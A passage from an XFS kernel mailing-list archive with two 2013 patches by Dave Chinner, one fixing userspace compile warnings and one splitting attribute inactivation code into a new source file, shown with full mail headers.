23:25:45 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c50007-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ykrDHsdQdS7p4KTq for ; Thu, 18 Jul 2013 23:25:43 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45yhSADqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:38 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00048U-W8 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001yT-Uz for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 23/49] xfs: fix issues that cause userspace warnings Date: Fri, 19 Jul 2013 16:24:54 +1000 X-ASG-Orig-Subj: [PATCH 23/49] xfs: fix issues that cause userspace warnings Message-Id: <1374215120-7271-24-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215143 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Some of the code shared with userspace causes compilation warnings from things turned off in the kernel code, such as differences in variable signedness. Fix those issues. Signed-off-by: Dave Chinner --- fs/xfs/xfs_attr_remote.c | 8 ++++---- fs/xfs/xfs_bmap.c | 3 --- fs/xfs/xfs_da_btree.c | 6 +++--- fs/xfs/xfs_dir2_node.c | 2 ++ fs/xfs/xfs_ialloc.c | 2 +- fs/xfs/xfs_rtalloc.c | 4 ++-- 6 files changed, 12 insertions(+), 13 deletions(-) diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c index b42926a..712a502 100644 --- a/fs/xfs/xfs_attr_remote.c +++ b/fs/xfs/xfs_attr_remote.c @@ -239,7 +239,7 @@ xfs_attr_rmtval_copyout( xfs_ino_t ino, int *offset, int *valuelen, - char **dst) + __uint8_t **dst) { char *src = bp->b_addr; xfs_daddr_t bno = bp->b_bn; @@ -286,7 +286,7 @@ xfs_attr_rmtval_copyin( xfs_ino_t ino, int *offset, int *valuelen, - char **src) + __uint8_t **src) { char *dst = bp->b_addr; xfs_daddr_t bno = bp->b_bn; @@ -339,7 +339,7 @@ xfs_attr_rmtval_get( struct xfs_mount *mp = args->dp->i_mount; struct xfs_buf *bp; xfs_dablk_t lblkno = args->rmtblkno; - char *dst = args->value; + __uint8_t *dst = args->value; int valuelen = args->valuelen; int nmap; int error; @@ -403,7 +403,7 @@ xfs_attr_rmtval_set( struct xfs_bmbt_irec map; xfs_dablk_t lblkno; xfs_fileoff_t lfileoff = 0; - char *src = args->value; + __uint8_t *src = args->value; int blkcnt; int valuelen; int nmap; diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 1f09faf..a9331a6 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -4258,12 +4258,9 @@ __xfs_bmapi_allocate( struct xfs_ifork *ifp = XFS_IFORK_PTR(bma->ip, whichfork); int tmp_logflags = 0; int error; - int rt; ASSERT(bma->length > 0); - rt = (whichfork == XFS_DATA_FORK) && XFS_IS_REALTIME_INODE(bma->ip); - /* * For the wasdelay case, we could also just allocate the stuff asked * for in this bmap call but that wouldn't be as good. diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 8bbd7ef..d4e59a4 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -399,7 +399,7 @@ xfs_da3_split( struct xfs_da_intnode *node; struct xfs_buf *bp; int max; - int action; + int action = 0; int error; int i; @@ -2454,9 +2454,9 @@ static int xfs_buf_map_from_irec( struct xfs_mount *mp, struct xfs_buf_map **mapp, - unsigned int *nmaps, + int *nmaps, struct xfs_bmbt_irec *irecs, - unsigned int nirecs) + int nirecs) { struct xfs_buf_map *map; int i; diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index b4bd9b6..18e287d 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -313,11 +313,13 @@ xfs_dir2_free_log_header( struct xfs_trans *tp, struct xfs_buf *bp) { +#ifdef DEBUG xfs_dir2_free_t *free; /* freespace structure */ free = bp->b_addr; ASSERT(free->hdr.magic == cpu_to_be32(XFS_DIR2_FREE_MAGIC) || free->hdr.magic == cpu_to_be32(XFS_DIR3_FREE_MAGIC)); +#endif xfs_trans_log_buf(tp, bp, 0, xfs_dir3_free_hdr_size(tp->t_mountp) - 1); } diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index bd4e2a7..266024b 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1342,7 +1342,7 @@ xfs_imap( xfs_agblock_t cluster_agbno; /* first block in inode cluster */ int error; /* error code */ int offset; /* index of inode in its buffer */ - int offset_agbno; /* blks from chunk start to inode */ + xfs_agblock_t offset_agbno; /* blks from chunk start to inode */ ASSERT(ino != NULLFSINO); diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c index 084caa8..7a445e6 100644 --- a/fs/xfs/xfs_rtalloc.c +++ b/fs/xfs/xfs_rtalloc.c @@ -736,8 +736,8 @@ xfs_rtallocate_range( { xfs_rtblock_t end; /* end of the allocated extent */ int error; /* error value */ - xfs_rtblock_t postblock; /* first block allocated > end */ - xfs_rtblock_t preblock; /* first block allocated < start */ + xfs_rtblock_t postblock = 0; /* first block allocated > end */ + xfs_rtblock_t preblock = 0; /* first block allocated < start */ end = start + len - 1; /* -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6D1E47F9A for ; Fri, 19 Jul 2013 01:25:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D34CFAC00E for ; Thu, 18 Jul 2013 23:25:46 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c020009-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id N1SG0dW754JUJDwk for ; Thu, 18 Jul 2013 23:25:43 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABQAgiDBsFGBIEWF3SCJAEBBRoNLzMIGDE5AxsXAogPti+OUwYGBA+FIAOMPodIinCKNIMkKgSBKQ Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:37 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00048G-S6 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001y4-RH for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 18/49] xfs: split out attribute fork truncation code into separate file Date: Fri, 19 Jul 2013 16:24:49 +1000 X-ASG-Orig-Subj: [PATCH 18/49] xfs: split out attribute fork truncation code into separate file Message-Id: <1374215120-7271-19-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215143 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The attribute inactivation code is not used by userspace, so like the attribute listing, split it out into a separate file to minimise the differences between the filesystem shared with libxfs in userspace. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 + fs/xfs/xfs_attr.c | 71 ------- fs/xfs/xfs_attr_inactive.c | 454 +++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_attr_leaf.c | 352 ----------------------------------- 4 files changed, 455 insertions(+), 423 deletions(-) create mode 100644 fs/xfs/xfs_attr_inactive.c diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index 94df3ec..a73af1c 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -27,6 +27,7 @@ xfs-y += xfs_trace.o # highlevel code xfs-y += xfs_aops.o \ + xfs_attr_inactive.o \ xfs_attr_list.o \ xfs_bit.o \ xfs_buf.o \ diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c index e9fd5ac..6ab77e3 100644 --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -610,77 +610,6 @@ xfs_attr_remove( return xfs_attr_remove_int(dp, &xname, flags); } -int /* error */ -xfs_attr_inactive(xfs_inode_t *dp) -{ - xfs_trans_t *trans; - xfs_mount_t *mp; - int error; - - mp = dp->i_mount; - ASSERT(! XFS_NOT_DQATTACHED(mp, dp)); - - xfs_ilock(dp, XFS_ILOCK_SHARED); - if (!xfs_inode_hasattr(dp) || - dp->i_d.di_aformat == XFS_DINODE_FMT_LOCAL) { - xfs_iunlock(dp, XFS_ILOCK_SHARED); - return 0; - } - xfs_iunlock(dp, XFS_ILOCK_SHARED); - - /* - * Start our first transaction of the day. - * - * All future transactions during this code must be "chained" off - * this one via the trans_dup() call. All transactions will contain - * the inode, and the inode will always be marked with trans_ihold(). - * Since the inode will be locked in all transactions, we must log - * the inode in every transaction to let it float upward through - * the log. - */ - trans = xfs_trans_alloc(mp, XFS_TRANS_ATTRINVAL); - if ((error = xfs_trans_reserve(trans, 0, XFS_ATTRINVAL_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_ATTRINVAL_LOG_COUNT))) { - xfs_trans_cancel(trans, 0); - return(error); - } - xfs_ilock(dp, XFS_ILOCK_EXCL); - - /* - * No need to make quota reservations here. We expect to release some - * blocks, not allocate, in the common case. - */ - xfs_trans_ijoin(trans, dp, 0); - - /* - * Decide on what work routines to call based on the inode size. - */ - if (!xfs_inode_hasattr(dp) || - dp->i_d.di_aformat == XFS_DINODE_FMT_LOCAL) { - error = 0; - goto out; - } - error = xfs_attr3_root_inactive(&trans, dp); - if (error) - goto out; - - error = xfs_itruncate_extents(&trans, dp, XFS_ATTR_FORK, 0); - if (error) - goto out; - - error = xfs_trans_commit(trans, XFS_TRANS_RELEASE_LOG_RES); - xfs_iunlock(dp, XFS_ILOCK_EXCL); - - return(error); - -out: - xfs_trans_cancel(trans, XFS_TRANS_RELEASE_LOG_RES|XFS_TRANS_ABORT); - xfs_iunlock(dp, XFS_ILOCK_EXCL); - return(error); -} - - /*======================================================================== * External routines when attribute list is inside the inode diff --git a/fs/xfs/xfs_attr_inactive.c b/fs/xfs/xfs_attr_inactive.c new file mode 100644 index 0000000..ace95e7 --- /dev/null +++ b/fs/xfs/xfs_attr_inactive.c @@ -0,0 +1,454 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_format.h" +#include "xfs_bit.h" +#include "xfs_log.h" +#include "xfs_trans.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_da_btree.h" +#include "xfs_bmap_btree.h" +#include "xfs_alloc_btree.h" +#include "xfs_ialloc_btree.h" +#include "xfs_alloc.h" +#include "xfs_btree.h" +#include "xfs_attr_remote.h" +#include "xfs_dinode.h" +#include "xfs_inode.h" +#include "xfs_inode_item.h" +#include "xfs_bmap.h" +#include "xfs_attr.h" +#include "xfs_attr_leaf.h" +#include "xfs_error.h" +#include "xfs_quota.h" +#include "xfs_trace.h" +#include "xfs_trans_priv.h" + +/* + * Look at all the extents for this logical region, + * invalidate any buffers that are incore/in transactions. + */ +STATIC int +xfs_attr3_leaf_freextent( + struct xfs_trans **trans, + struct xfs_inode *dp, + xfs_dablk_t blkno, + int blkcnt) +{ + struct xfs_bmbt_irec map; + struct xfs_buf *bp; + xfs_dablk_t tblkno; + xfs_daddr_t dblkno; + int tblkcnt; + int dblkcnt; + int nmap; + int error; + + /* + * Roll through the "value", invalidating the attribute value's + * blocks. + */ + tblkno = blkno; + tblkcnt = blkcnt; + while (tblkcnt > 0) { + /* + * Try to remember where we decided to put the value. + */ + nmap = 1; + error = xfs_bmapi_read(dp, (xfs_fileoff_t)tblkno, tblkcnt, + &map, &nmap, XFS_BMAPI_ATTRFORK); + if (error) { + return(error); + } + ASSERT(nmap == 1); + ASSERT(map.br_startblock != DELAYSTARTBLOCK); + + /* + * If it's a hole, these are already unmapped + * so there's nothing to invalidate. + */ + if (map.br_startblock != HOLESTARTBLOCK) { + + dblkno = XFS_FSB_TO_DADDR(dp->i_mount, + map.br_startblock); + dblkcnt = XFS_FSB_TO_BB(dp->i_mount, + map.br_blockcount); + bp = xfs_trans_get_buf(*trans, + dp->i_mount->m_ddev_targp, + dblkno, dblkcnt, 0); + if (!bp) + return ENOMEM; + xfs_trans_binval(*trans, bp); + /* + * Roll to next transaction. + */ + error = xfs_trans_roll(trans, dp); + if (error) + return (error); + } + + tblkno += map.br_blockcount; + tblkcnt -= map.br_blockcount; + } + + return(0); +} + +/* + * Invalidate all of the "remote" value regions pointed to by a particular + * leaf block. + * Note that we must release the lock on the buffer so that we are not + * caught holding something that the logging code wants to flush to disk. + */ +STATIC int +xfs_attr3_leaf_inactive( + struct xfs_trans **trans, + struct xfs_inode *dp, + struct xfs_buf *bp) +{ + struct xfs_attr_leafblock *leaf; + struct xfs_attr3_icleaf_hdr ichdr; + struct xfs_attr_leaf_entry *entry; + struct xfs_attr_leaf_name_remote *name_rmt; + struct xfs_attr_inactive_list *list; + struct xfs_attr_inactive_list *lp; + int error; + int count; + int size; + int tmp; + int i; + + leaf = bp->b_addr; + xfs_attr3_leaf_hdr_from_disk(&ichdr, leaf); + + /* + * Count the number of "remote" value extents. + */ + count = 0; + entry = xfs_attr3_leaf_entryp(leaf); + for (i = 0; i < ichdr.count; entry++, i++) { + if (be16_to_cpu(entry->nameidx) && + ((entry->flags & XFS_ATTR_LOCAL) == 0)) { + name_rmt = xfs_attr3_leaf_name_remote(leaf, i); + if (name_rmt->valueblk) + count++; + } + } + + /* + * If there are no "remote" values, we're done. + */ + if (count == 0) { + xfs_trans_brelse(*trans, bp); + return 0; + } + + /* + * Allocate storage for a list of all the "remote" value extents. + */ + size = count * sizeof(xfs_attr_inactive_list_t); + list = kmem_alloc(size, KM_SLEEP); + + /* + * Identify each of the "remote" value extents. + */ + lp = list; + entry = xfs_attr3_leaf_entryp(leaf); + for (i = 0; i < ichdr.count; entry++, i++) { + if (be16_to_cpu(entry->nameidx) && + ((entry->flags & XFS_ATTR_LOCAL) == 0)) { + name_rmt = xfs_attr3_leaf_name_remote(leaf, i); + if (name_rmt->valueblk) { + lp->valueblk = be32_to_cpu(name_rmt->valueblk); + lp->valuelen = xfs_attr3_rmt_blocks(dp->i_mount, + be32_to_cpu(name_rmt->valuelen)); + lp++; + } + } + } + xfs_trans_brelse(*trans, bp); /* unlock for trans. in freextent() */ + + /* + * Invalidate each of the "remote" value extents. + */ + error = 0; + for (lp = list, i = 0; i < count; i++, lp++) { + tmp = xfs_attr3_leaf_freextent(trans, dp, + lp->valueblk, lp->valuelen); + + if (error == 0) + error = tmp; /* save only the 1st errno */ + } + + kmem_free(list); + return error; +} + +/* + * Recurse (gasp!) through the attribute nodes until we find leaves. + * We're doing a depth-first traversal in order to invalidate everything. + */ +STATIC int +xfs_attr3_node_inactive( + struct xfs_trans **trans, + struct xfs_inode *dp, + struct xfs_buf *bp, + int level) +{ + xfs_da_blkinfo_t *info; + xfs_da_intnode_t *node; + xfs_dablk_t child_fsb; + xfs_daddr_t parent_blkno, child_blkno; + int error, i; + struct xfs_buf *child_bp; + struct xfs_da_node_entry *btree; + struct xfs_da3_icnode_hdr ichdr; + + /* + * Since this code is recursive (gasp!) we must protect ourselves. + */ + if (level > XFS_DA_NODE_MAXDEPTH) { + xfs_trans_brelse(*trans, bp); /* no locks for later trans */ + return XFS_ERROR(EIO); + } + + node = bp->b_addr; + xfs_da3_node_hdr_from_disk(&ichdr, node); + parent_blkno = bp->b_bn; + if (!ichdr.count) { + xfs_trans_brelse(*trans, bp); + return 0; + } + btree = xfs_da3_node_tree_p(node); + child_fsb = be32_to_cpu(btree[0].before); + xfs_trans_brelse(*trans, bp); /* no locks for later trans */ + + /* + * If this is the node level just above the leaves, simply loop + * over the leaves removing all of them. If this is higher up + * in the tree, recurse downward. + */ + for (i = 0; i < ichdr.count; i++) { + /* + * Read the subsidiary block to see what we have to work with. + * Don't do this in a transaction. This is a depth-first + * traversal of the tree so we may deal with many blocks + * before we come back to this one. + */ + error = xfs_da3_node_read(*trans, dp, child_fsb, -2, &child_bp, + XFS_ATTR_FORK); + if (error) + return(error); + if (child_bp) { + /* save for re-read later */ + child_blkno = XFS_BUF_ADDR(child_bp); + + /* + * Invalidate the subtree, however we have to. + */ + info = child_bp->b_addr; + switch (info->magic) { + case cpu_to_be16(XFS_DA_NODE_MAGIC): + case cpu_to_be16(XFS_DA3_NODE_MAGIC): + error = xfs_attr3_node_inactive(trans, dp, + child_bp, level + 1); + break; + case cpu_to_be16(XFS_ATTR_LEAF_MAGIC): + case cpu_to_be16(XFS_ATTR3_LEAF_MAGIC): + error = xfs_attr3_leaf_inactive(trans, dp, + child_bp); + break; + default: + error = XFS_ERROR(EIO); + xfs_trans_brelse(*trans, child_bp); + break; + } + if (error) + return error; + + /* + * Remove the subsidiary block from the cache + * and from the log. + */ + error = xfs_da_get_buf(*trans, dp, 0, child_blkno, + &child_bp, XFS_ATTR_FORK); + if (error) + return error; + xfs_trans_binval(*trans, child_bp); + } + + /* + * If we're not done, re-read the parent to get the next + * child block number. + */ + if (i + 1 < ichdr.count) { + error = xfs_da3_node_read(*trans, dp, 0, parent_blkno, + &bp, XFS_ATTR_FORK); + if (error) + return error; + child_fsb = be32_to_cpu(btree[i + 1].before); + xfs_trans_brelse(*trans, bp); + } + /* + * Atomically commit the whole invalidate stuff. + */ + error = xfs_trans_roll(trans, dp); + if (error) + return error; + } + + return 0; +} + +/* + * Indiscriminately delete the entire attribute fork + * + * Recurse (gasp!) through the attribute nodes until we find leaves. + * We're doing a depth-first traversal in order to invalidate everything. + */ +int +xfs_attr3_root_inactive( + struct xfs_trans **trans, + struct xfs_inode *dp) +{ + struct xfs_da_blkinfo *info; + struct xfs_buf *bp; + xfs_daddr_t blkno; + int error; + + /* + * Read block 0 to see what we have to work with. + * We only get here if we have extents, since we remove + * the extents in reverse order the extent containing + * block 0 must still be there. + */ + error = xfs_da3_node_read(*trans, dp, 0, -1, &bp, XFS_ATTR_FORK); + if (error) + return error; + blkno = bp->b_bn; + + /* + * Invalidate the tree, even if the "tree" is only a single leaf block. + * This is a depth-first traversal! + */ + info = bp->b_addr; + switch (info->magic) { + case cpu_to_be16(XFS_DA_NODE_MAGIC): + case cpu_to_be16(XFS_DA3_NODE_MAGIC): + error = xfs_attr3_node_inactive(trans, dp, bp, 1); + break; + case cpu_to_be16(XFS_ATTR_LEAF_MAGIC): + case cpu_to_be16(XFS_ATTR3_LEAF_MAGIC): + error = xfs_attr3_leaf_inactive(trans, dp, bp); + break; + default: + error = XFS_ERROR(EIO); + xfs_trans_brelse(*trans, bp); + break; + } + if (error) + return error; + + /* + * Invalidate the incore copy of the root block. + */ + error = xfs_da_get_buf(*trans, dp, 0, blkno, &bp, XFS_ATTR_FORK); + if (error) + return error; + xfs_trans_binval(*trans, bp); /* remove from cache */ + /* + * Commit the invalidate and start the next transaction. + */ + error = xfs_trans_roll(trans, dp); + + return error; +} + +int +xfs_attr_inactive(xfs_inode_t *dp) +{ + xfs_trans_t *trans; + xfs_mount_t *mp; + int error; + + mp = dp->i_mount; + ASSERT(! XFS_NOT_DQATTACHED(mp, dp)); + + xfs_ilock(dp, XFS_ILOCK_SHARED); + if (!xfs_inode_hasattr(dp) || + dp->i_d.di_aformat == XFS_DINODE_FMT_LOCAL) { + xfs_iunlock(dp, XFS_ILOCK_SHARED); + return 0; + } + xfs_iunlock(dp, XFS_ILOCK_SHARED); + + /* + * Start our first transaction of the day. + * + * All future transactions during this code must be "chained" off + * this one via the trans_dup() call. All transactions will contain + * the inode, and the inode will always be marked with trans_ihold(). + * Since the inode will be locked in all transactions, we must log + * the inode in every transaction to let it float upward through + * the log. + */ + trans = xfs_trans_alloc(mp, XFS_TRANS_ATTRINVAL); + if ((error = xfs_trans_reserve(trans, 0, XFS_ATTRINVAL_LOG_RES(mp), 0, + XFS_TRANS_PERM_LOG_RES, + XFS_ATTRINVAL_LOG_COUNT))) { + xfs_trans_cancel(trans, 0); + return(error); + } + xfs_ilock(dp, XFS_ILOCK_EXCL); + + /* + * No need to make quota reservations here. We expect to release some + * blocks, not allocate, in the common case. + */ + xfs_trans_ijoin(trans, dp, 0); + + /* + * Decide on what work routines to call based on the inode size. + */ + if (!xfs_inode_hasattr(dp) || + dp->i_d.di_aformat == XFS_DINODE_FMT_LOCAL) { + error = 0; + goto out; + } + error = xfs_attr3_root_inactive(&trans, dp); + if (error) + goto out; + + error = xfs_itruncate_extents(&trans, dp, XFS_ATTR_FORK, 0); + if (error) + goto out; + + error = xfs_trans_commit(trans, XFS_TRANS_RELEASE_LOG_RES); + xfs_iunlock(dp, XFS_ILOCK_EXCL); + + return(error); + +out: + xfs_trans_cancel(trans, XFS_TRANS_RELEASE_LOG_RES|XFS_TRANS_ABORT); + xfs_iunlock(dp, XFS_ILOCK_EXCL); + return(error); +} diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index 90c033e..fe0ade9 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -79,16 +79,6 @@ STATIC int xfs_attr3_leaf_figure_balance(xfs_da_state_t *state, int *number_usedbytes_in_blk1); /* - * Routines used for shrinking the Btree. - */ -STATIC int xfs_attr3_node_inactive(xfs_trans_t **trans, xfs_inode_t *dp, - struct xfs_buf *bp, int level); -STATIC int xfs_attr3_leaf_inactive(xfs_trans_t **trans, xfs_inode_t *dp, - struct xfs_buf *bp); -STATIC int xfs_attr3_leaf_freextent(xfs_trans_t **trans, xfs_inode_t *dp, - xfs_dablk_t blkno, int blkcnt); - -/* * Utility routines. */ STATIC void xfs_attr3_leaf_moveents(struct xfs_attr_leafblock *src_leaf, @@ -2712,345 +2702,3 @@ xfs_attr3_leaf_flipflags( return error; } - -/*======================================================================== - * Indiscriminately delete the entire attribute fork - *========================================================================*/ - -/* - * Recurse (gasp!) through the attribute nodes until we find leaves. - * We're doing a depth-first traversal in order to invalidate everything. - */ -int -xfs_attr3_root_inactive( - struct xfs_trans **trans, - struct xfs_inode *dp) -{ - struct xfs_da_blkinfo *info; - struct xfs_buf *bp; - xfs_daddr_t blkno; - int error; - - /* - * Read block 0 to see what we have to work with. - * We only get here if we have extents, since we remove - * the extents in reverse order the extent containing - * block 0 must still be there. - */ - error = xfs_da3_node_read(*trans, dp, 0, -1, &bp, XFS_ATTR_FORK); - if (error) - return error; - blkno = bp->b_bn; - - /* - * Invalidate the tree, even if the "tree" is only a single leaf block. - * This is a depth-first traversal! - */ - info = bp->b_addr; - switch (info->magic) { - case cpu_to_be16(XFS_DA_NODE_MAGIC): - case cpu_to_be16(XFS_DA3_NODE_MAGIC): - error = xfs_attr3_node_inactive(trans, dp, bp, 1); - break; - case cpu_to_be16(XFS_ATTR_LEAF_MAGIC): - case cpu_to_be16(XFS_ATTR3_LEAF_MAGIC): - error = xfs_attr3_leaf_inactive(trans, dp, bp); - break; - default: - error = XFS_ERROR(EIO); - xfs_trans_brelse(*trans, bp); - break; - } - if (error) - return error; - - /* - * Invalidate the incore copy of the root block. - */ - error = xfs_da_get_buf(*trans, dp, 0, blkno, &bp, XFS_ATTR_FORK); - if (error) - return error; - xfs_trans_binval(*trans, bp); /* remove from cache */ - /* - * Commit the invalidate and start the next transaction. - */ - error = xfs_trans_roll(trans, dp); - - return error; -} - -/* - * Recurse (gasp!) through the attribute nodes until we find leaves. - * We're doing a depth-first traversal in order to invalidate everything. - */ -STATIC int -xfs_attr3_node_inactive( - struct xfs_trans **trans, - struct xfs_inode *dp, - struct xfs_buf *bp, - int level) -{ - xfs_da_blkinfo_t *info; - xfs_da_intnode_t *node; - xfs_dablk_t child_fsb; - xfs_daddr_t parent_blkno, child_blkno; - int error, i; - struct xfs_buf *child_bp; - struct xfs_da_node_entry *btree; - struct xfs_da3_icnode_hdr ichdr; - - /* - * Since this code is recursive (gasp!) we must protect ourselves. - */ - if (level > XFS_DA_NODE_MAXDEPTH) { - xfs_trans_brelse(*trans, bp); /* no locks for later trans */ - return XFS_ERROR(EIO); - } - - node = bp->b_addr; - xfs_da3_node_hdr_from_disk(&ichdr, node); - parent_blkno = bp->b_bn; - if (!ichdr.count) { - xfs_trans_brelse(*trans, bp); - return 0; - } - btree = xfs_da3_node_tree_p(node); - child_fsb = be32_to_cpu(btree[0].before); - xfs_trans_brelse(*trans, bp); /* no locks for later trans */ - - /* - * If this is the node level just above the leaves, simply loop - * over the leaves removing all of them. If this is higher up - * in the tree, recurse downward. - */ - for (i = 0; i < ichdr.count; i++) { - /* - * Read the subsidiary block to see what we have to work with. - * Don't do this in a transaction. This is a depth-first - * traversal of the tree so we may deal with many blocks - * before we come back to this one. - */ - error = xfs_da3_node_read(*trans, dp, child_fsb, -2, &child_bp, - XFS_ATTR_FORK); - if (error) - return(error); - if (child_bp) { - /* save for re-read later */ - child_blkno = XFS_BUF_ADDR(child_bp); - - /* - * Invalidate the subtree, however we have to. - */ - info = child_bp->b_addr; - switch (info->magic) { - case cpu_to_be16(XFS_DA_NODE_MAGIC): - case cpu_to_be16(XFS_DA3_NODE_MAGIC): - error = xfs_attr3_node_inactive(trans, dp, - child_bp, level + 1); - break; - case cpu_to_be16(XFS_ATTR_LEAF_MAGIC): - case cpu_to_be16(XFS_ATTR3_LEAF_MAGIC): - error = xfs_attr3_leaf_inactive(trans, dp, - child_bp); - break; - default: - error = XFS_ERROR(EIO); - xfs_trans_brelse(*trans, child_bp); - break; - } - if (error) - return error; - - /* - * Remove the subsidiary block from the cache - * and from the log. - */ - error = xfs_da_get_buf(*trans, dp, 0, child_blkno, - &child_bp, XFS_ATTR_FORK); - if (error) - return error; - xfs_trans_binval(*trans, child_bp); - } - - /* - * If we're not done, re-read the parent to get the next - * child block number. - */ - if (i + 1 < ichdr.count) { - error = xfs_da3_node_read(*trans, dp, 0, parent_blkno, - &bp, XFS_ATTR_FORK); - if (error) - return error; - child_fsb = be32_to_cpu(btree[i + 1].before); - xfs_trans_brelse(*trans, bp); - } - /* - * Atomically commit the whole invalidate stuff. - */ - error = xfs_trans_roll(trans, dp); - if (error) - return error; - } - - return 0; -} - -/* - * 